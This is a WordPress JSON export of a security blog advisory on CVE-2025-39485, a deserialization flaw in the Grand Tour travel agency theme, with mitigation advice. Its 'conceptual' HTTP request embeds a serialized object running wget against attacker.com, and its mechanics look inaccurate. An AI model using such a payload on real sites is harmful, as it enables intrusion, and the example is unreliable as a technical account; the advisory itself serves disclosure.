{"id":45905,"date":"2025-05-30T04:22:59","date_gmt":"2025-05-30T04:22:59","guid":{"rendered":""},"modified":"2025-09-27T08:15:29","modified_gmt":"2025-09-27T14:15:29","slug":"cve-2025-39485-critical-untrusted-data-deserialization-vulnerability-in-grand-tour-travel-agency-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39485-critical-untrusted-data-deserialization-vulnerability-in-grand-tour-travel-agency-wordpress\/","title":{"rendered":"<strong>CVE-2025-39485: Critical Untrusted Data Deserialization Vulnerability in Grand Tour | Travel Agency WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has identified a significant cybersecurity threat, tagged as CVE-2025-39485. This vulnerability pertains to the deserialization of untrusted data within the ThemeGoods Grand Tour | Travel Agency WordPress theme. The threat affects a wide range of users, from individual bloggers to large travel agencies, who have employed this particular <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8592-wordpress-inspiro-theme-vulnerability-to-cross-site-request-forgery-csrf\/\"  data-wpil-monitor-id=\"85441\">theme on their WordPress<\/a> websites. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32307-sql-injection-vulnerability-in-lambertgroup-chameleon-html5-audio-player-with-without-playlist\/\"  data-wpil-monitor-id=\"51381\">vulnerability matters because it permits object injection<\/a> that can potentially compromise the system or lead to data leakage, causing substantial damage to the affected parties.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39485<br \/>\nSeverity: Critical (CVSS 9.8)<br \/>\nAttack Vector: Web<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams\/\"  data-wpil-monitor-id=\"52549\">System compromise<\/a> and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1688670346\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32926-critical-path-traversal-vulnerability-in-grand-restaurant-wordpress-theme\/\"  data-wpil-monitor-id=\"54075\">Grand Tour | Travel Agency WordPress<\/a> Theme | n\/a through 5.5.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a weakness in the theme&#8217;s code that permits <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39349-critical-deserialization-of-untrusted-data-vulnerability-in-ciyashop\/\"  data-wpil-monitor-id=\"52548\">untrusted data deserialization<\/a>. An attacker can manipulate serialized objects to embed <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80690\">malicious code<\/a>. When the system deserializes the objects, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41075-high-risk-type-confusion-vulnerability-allowing-arbitrary-code-execution-with-kernel-privileges\/\"  data-wpil-monitor-id=\"51577\">code is executed<\/a>, paving the way for a variety of possible attacks, including unauthorized system access, data theft, or even a complete system takeover.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-520356803\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how an attacker might exploit the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36560-critical-server-side-request-forgery-vulnerability-in-a-blog-cms\/\"  data-wpil-monitor-id=\"51670\">vulnerability in a HTTP request:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/themes\/grandtour\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/php-serialized\nO:8:&quot;stdClass&quot;:1:{s:6:&quot;inject&quot;;s:46:&quot;system(&#039;wget http:\/\/attacker.com\/malicious.php&#039;);&quot;;}<\/code><\/pre>\n<p>In this hypothetical example, the attacker sends a serialized PHP object containing a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39380-mojoomla-hospital-management-system-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"52031\">system command to download a malicious PHP file<\/a> from their server. The target server then deserializes the object, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-7206-arbitrary-code-execution-vulnerability-in-horner-automation-cscape\/\"  data-wpil-monitor-id=\"51614\">executing the malicious code<\/a> in the process.<\/p>\n<p><strong>Recommended Mitigation<\/strong><\/p>\n<p>Users of the affected versions of the Grand Tour | <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4797-privilege-escalation-via-account-takeover-in-golo-city-travel-guide-wordpress-theme\/\"  data-wpil-monitor-id=\"58368\">Travel Agency WordPress<\/a> theme are advised to apply the vendor patch as soon as it becomes available. In the interim, the implementation of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regular <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-22190-critical-gitpython-vulnerability-exposes-windows-systems-to-potential-compromise\/\"  data-wpil-monitor-id=\"51360\">system and data backups are also recommended to minimize potential<\/a> data loss.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has identified a significant cybersecurity threat, tagged as CVE-2025-39485. This vulnerability pertains to the deserialization of untrusted data within the ThemeGoods Grand Tour | Travel Agency WordPress theme. The threat affects a wide range of users, from individual bloggers to large travel agencies, who have employed this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-45905","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/45905","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=45905"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/45905\/revisions"}],"predecessor-version":[{"id":78230,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/45905\/revisions\/78230"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=45905"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=45905"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=45905"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=45905"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=45905"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=45905"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=45905"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=45905"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=45905"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}